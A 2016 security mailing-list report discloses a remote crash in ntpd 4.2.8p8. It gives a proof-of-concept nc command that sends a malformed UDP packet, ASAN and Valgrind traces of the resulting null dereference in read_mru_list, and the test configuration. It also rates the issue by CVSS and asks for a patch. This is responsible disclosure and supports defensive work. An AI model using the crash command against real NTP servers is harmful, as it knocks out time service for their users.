[ntp:security] High severity vulnerability in ntpd-4.2.8p8

Magnus Stubman magnus at stubman.eu
Sun Jun 26 07:12:34 UTC 2016


Hi,

Affected product
============

ntpd-4.2.8p8

Description
=========

It was found possible to cause complete loss of availability remotely by an unauthenticated user by sending a single malformed packet to the ntpd daemon.

Proof of concept
============

The following command will send the malicious packet:

cat ntpd-4.2.8p8-crash.raw | nc -u -v 127.0.0.1 123

resulting in the vulnerable instance of the server to crash.
ASAN report:

——BEGIN—— 
sudo ./../ntp-4.2.8p8/ntpd/ntpd -n -I lo -c ~/resources/ntp.conf
25 Jun 22:21:34 ntpd[30371]: ntpd 4.2.8p8 at 1.3265-o Sat Jun 25 20:08:05 UTC 2016 (3): Starting
25 Jun 22:21:34 ntpd[30371]: Command line: ./../ntp-4.2.8p8/ntpd/ntpd -n -I lo -c /home/dude/resources/ntp.conf
25 Jun 22:21:34 ntpd[30371]: proto: precision = 0.264 usec (-22)
25 Jun 22:21:34 ntpd[30371]: switching logging to file /dev/null
25 Jun 22:21:34 ntpd[30371]: Listen and drop on 0 v6wildcard [::]:123
25 Jun 22:21:34 ntpd[30371]: Listen and drop on 1 v4wildcard 0.0.0.0:123
25 Jun 22:21:34 ntpd[30371]: Listen normally on 2 lo 127.0.0.1:123
25 Jun 22:21:34 ntpd[30371]: Listen normally on 3 lo [::1]:123
25 Jun 22:21:34 ntpd[30371]: Listening on routing socket on fd #20 for interface updates
ASAN:SIGSEGV
=================================================================
==30371==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fe0a845955f bp 0x000000000000 sp 0x7ffc7c29ac58 T0)
    #0 0x7fe0a845955e (/lib/x86_64-linux-gnu/libc.so.6+0x8c55e)
    #1 0x7fe0a84448a1 (/lib/x86_64-linux-gnu/libc.so.6+0x778a1)
    #2 0x7fe0a8439486 (/lib/x86_64-linux-gnu/libc.so.6+0x6c486)
    #3 0x45b285 (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x45b285)
    #4 0x53e254 (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x53e254)
    #5 0x5166b0 (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x5166b0)
    #6 0x58163c (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x58163c)
    #7 0x512ec1 (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x512ec1)
    #8 0x511028 (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x511028)
    #9 0x7fe0a83eeb44 (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
    #10 0x4cf999 (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x4cf999)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 ??
==30371==ABORTING
——END—— 

Valgrind report:

——BEGIN—— 
$ sudo valgrind ./ntpd/ntpd -n  -c ~/resources/ntp.conf
==5389== Memcheck, a memory error detector
==5389== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==5389== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==5389== Command: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf
==5389== 
25 Jun 23:07:05 ntpd[5389]: ntpd 4.2.8p8 at 1.3265-o Sat Jun 25 20:50:30 UTC 2016 (1): Starting
25 Jun 23:07:05 ntpd[5389]: Command line: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf
25 Jun 23:07:06 ntpd[5389]: proto: precision = 3.605 usec (-18)
25 Jun 23:07:06 ntpd[5389]: switching logging to file /dev/null
25 Jun 23:07:06 ntpd[5389]: Listen and drop on 0 v6wildcard [::]:123
25 Jun 23:07:06 ntpd[5389]: Listen and drop on 1 v4wildcard 0.0.0.0:123
25 Jun 23:07:06 ntpd[5389]: Listen normally on 2 lo 127.0.0.1:123
25 Jun 23:07:06 ntpd[5389]: Listen normally on 3 eth0 10.0.1.11:123
25 Jun 23:07:06 ntpd[5389]: Listen normally on 4 eth0:0 1.2.3.4:123
25 Jun 23:07:06 ntpd[5389]: Listen normally on 5 eth9:0 11.11.11.11:123
25 Jun 23:07:06 ntpd[5389]: Listen normally on 6 lo [::1]:123
25 Jun 23:07:06 ntpd[5389]: Listen normally on 7 eth0 [fe80::f2de:f1ff:fe85:75cf%2]:123
25 Jun 23:07:06 ntpd[5389]: Listen normally on 8 eth9 [fe80::a450:8eff:fecc:9c4%3]:123
25 Jun 23:07:06 ntpd[5389]: Listening on routing socket on fd #25 for interface updates
==5389== Invalid read of size 1
==5389==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==5389==    by 0x45704D: estrdup_impl (emalloc.c:128)
==5389==    by 0x41AF29: read_mru_list (ntp_control.c:4041)
==5389==    by 0x42BB09: receive (ntp_proto.c:659)
==5389==    by 0x4145CF: ntpdmain (ntpd.c:1329)
==5389==    by 0x405A58: main (ntpd.c:392)
==5389==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==5389== 
==5389== 
==5389== Process terminating with default action of signal 11 (SIGSEGV)
==5389==  Access not within mapped region at address 0x0
==5389==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==5389==    by 0x45704D: estrdup_impl (emalloc.c:128)
==5389==    by 0x41AF29: read_mru_list (ntp_control.c:4041)
==5389==    by 0x42BB09: receive (ntp_proto.c:659)
==5389==    by 0x4145CF: ntpdmain (ntpd.c:1329)
==5389==    by 0x405A58: main (ntpd.c:392)
==5389==  If you believe this happened as a result of a stack
==5389==  overflow in your program's main thread (unlikely but
==5389==  possible), you can try to increase the size of the
==5389==  main thread stack using the --main-stacksize= flag.
==5389==  The main thread stack size used in this run was 204800.
==5389== 
==5389== HEAP SUMMARY:
==5389==     in use at exit: 122,458 bytes in 2,707 blocks
==5389==   total heap usage: 2,875 allocs, 168 frees, 411,190 bytes allocated
==5389== 
==5389== LEAK SUMMARY:
==5389==    definitely lost: 0 bytes in 0 blocks
==5389==    indirectly lost: 0 bytes in 0 blocks
==5389==      possibly lost: 2,000 bytes in 2 blocks
==5389==    still reachable: 120,458 bytes in 2,705 blocks
==5389==         suppressed: 0 bytes in 0 blocks
==5389== Rerun with --leak-check=full to see details of leaked memory
==5389== 
==5389== For counts of detected and suppressed errors, rerun with: -v
==5389== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
——END—— 

Configuration
==========

The issue was successfully reproduced both locally and across the network using the following configuration file:

—BEGIN—
# Use the local clock
server 127.127.1.0 prefer
fudge  127.127.1.0 stratum 10
driftfile /var/lib/ntp/drift
broadcastdelay 0.008

logfile /dev/null
#logfile /tmp/ntp.log

# Give localhost full access rights
#restrict 127.0.0.1

# Given local machine access to query
#restrict 172.16.59.179 mask 255.255.255.255 nomodify notrap
#restrict 10.0.1.24 mask 255.255.255.255 nomodify notrap
restrict 127.0.0.1 mask 255.255.255.255 nomodify notrap
—END—

CVSS
=====

Using CVSS2 I am rating this issue as follows: AV:N/AC:L/AU:N/C:N/I:N/A/C giving it a score of 7.8, which therefore rates this issue as of “high” severity.

Note
====

It was not found possible to reproduce this issue using the latest available unstable version in the git repository located at github[1]. I am however unsure if this is because the vulnerability already is known to the development team, or if the vulnerability was fixed as an unintended side-effect of some other changes. I believe that the latter is the case since there is no patch or newer stable version available addressing this issue, therefore I am reporting this issue to hopefully rush the release of a fix.

Recommendation
=============

I recommend that either

1. a patch is released as soon as possible addressing this issue, or
2. the unstable version in the git repo is released as soon as possible as a stable version


References
=========

1: https://github.com/ntp-project/ntp




I hope that this report is of value to the team. Please let me know if you were aware of this vulnerability beforehand, and if so, why you have delayed releasing a patch or a stable version fixing it. The malicious packet is attached to this e-mail.

If you have questions, then please just ask via e-mail.

Please acknowledge that you have received this e-mail.

Regards,
Magnus Stubman
@magnusstubman
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